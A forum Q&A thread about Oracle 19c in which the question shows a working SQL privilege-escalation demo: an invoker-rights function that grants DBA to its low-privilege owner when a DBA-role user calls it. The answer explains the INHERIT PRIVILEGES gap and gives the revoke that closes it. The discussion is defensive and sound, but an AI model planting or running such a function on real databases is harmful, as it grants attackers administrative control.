Reputation: 31
The following test cases and their results were obtained from experiments conducted in Oracle19c。 Experiment 1:
SYS:
CREATE USER AAA IDENTIFIED BY 123456789;
CREATE USER BBB IDENTIFIED BY 123456789;
GRANT CREATE SESSION TO AAA;
GRANT CREATE SESSION TO BBB;
GRANT DBA TO AAA;
AAA:
GRANT CREATE PROCEDURE TO BBB;
BBB:
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
AUTHID CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO BBB';
RETURN 'Granted';
EXCEPTION
WHEN OTHERS THEN
RETURN SQLERRM;
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;
AAA:
SELECT BBB.GET_DBA() FROM DUAL;
The result of this experiment is that AAA executed BBB's function, and BBB's privilege was elevated to DBA privilege.May I ask if this is safe for a database? Is there a corresponding database security model that can serve as a reference standard?
Experiment 2: If the AAA user in Experiment 1 is removed and the SYS user provided by Oracle is used as the DBA user, the BBB permission upgrade will fail with the error result ORA-06598: INHERIT PRIMILEGES Insufficient Permissions。
What are the inheritance permissions here? Why did this error occur? Are the above two experiments security vulnerabilities?Looking forward to everyone's communication
Upvotes: 2
Views: 95
Reputation: 11363
I agree that this is a security hole, a basic "privilege escalation" attack. In 12c Oracle introduced measures to counter this by creating the INHERIT PRIVILEGES
privilege, and by default stripped this from SYS/SYSTEM to keep people from using those accounts for privilege escalation using invoker-rights procedures. However, it was half-baked and still doesn't provide the protection it should, precisely as you've found, when a non-default user is created and elevated.
When you create any user, PUBLIC
automatically gets INHERIT PRIVILEGES
on that user:
CREATE USER AAA IDENTIFIED BY 123456789;
SELECT *
FROM dba_tab_privs
WHERE grantee = 'PUBLIC'
AND table_name = 'AAA'
This means AAA can call any and all invoker-rights procedures owned by others. That makes sense since AAA is a non-privileged account, so can't be used for privilege escalation. But when you grant DBA to it:
GRANT DBA TO AAA;
Now this is a privileged account, but Oracle fails to remove the INHERIT PRIVILEGES
on this user:
SELECT *
FROM dba_tab_privs
WHERE grantee = 'PUBLIC'
AND table_name = 'AAA'
Still shows the priv! That's why AAA can invoke BBB's procedure and fall into the security hole of a privilege escalation attack, whereas SYS and SYSTEM are protected because out of the box PUBLIC
does not have INHERIT PRIVILEGES
on those users. Oracle screwed up here, as if SYS/SYSTEM were the only accounts they had to worry about.
The solution is to revoke the INHERIT PRIVILEGES
:
revoke inherit privileges on user aaa from public
No longer can aaa
be used by bbb
or anyone else for a privilege escalation attack. The moral of the story is: don't ever grant DBA or equivalent privs (like GRANT ANY *
) to a user without immediate following it by a revoke inherit privileges on user * from public
.
Hopefully Oracle will in the future fix this so that the moment a user becomes elevated this is automatically revoked. Or better yet, jettison this whole INHERIT PRIVILEGES
concept and instead check for elevated privs at call time.
Until then, a DBA should know better than to execute code written by a non-DBA. DBAs should always seek to understand what a user is asking them to do and its consequences before blindly running stuff they send over. It might also be wise to use SYS/SYSTEM (or connect with sysdba
) or some other standardized account for DBA work rather than using individual personal accounts with the DBA role.
Upvotes: 3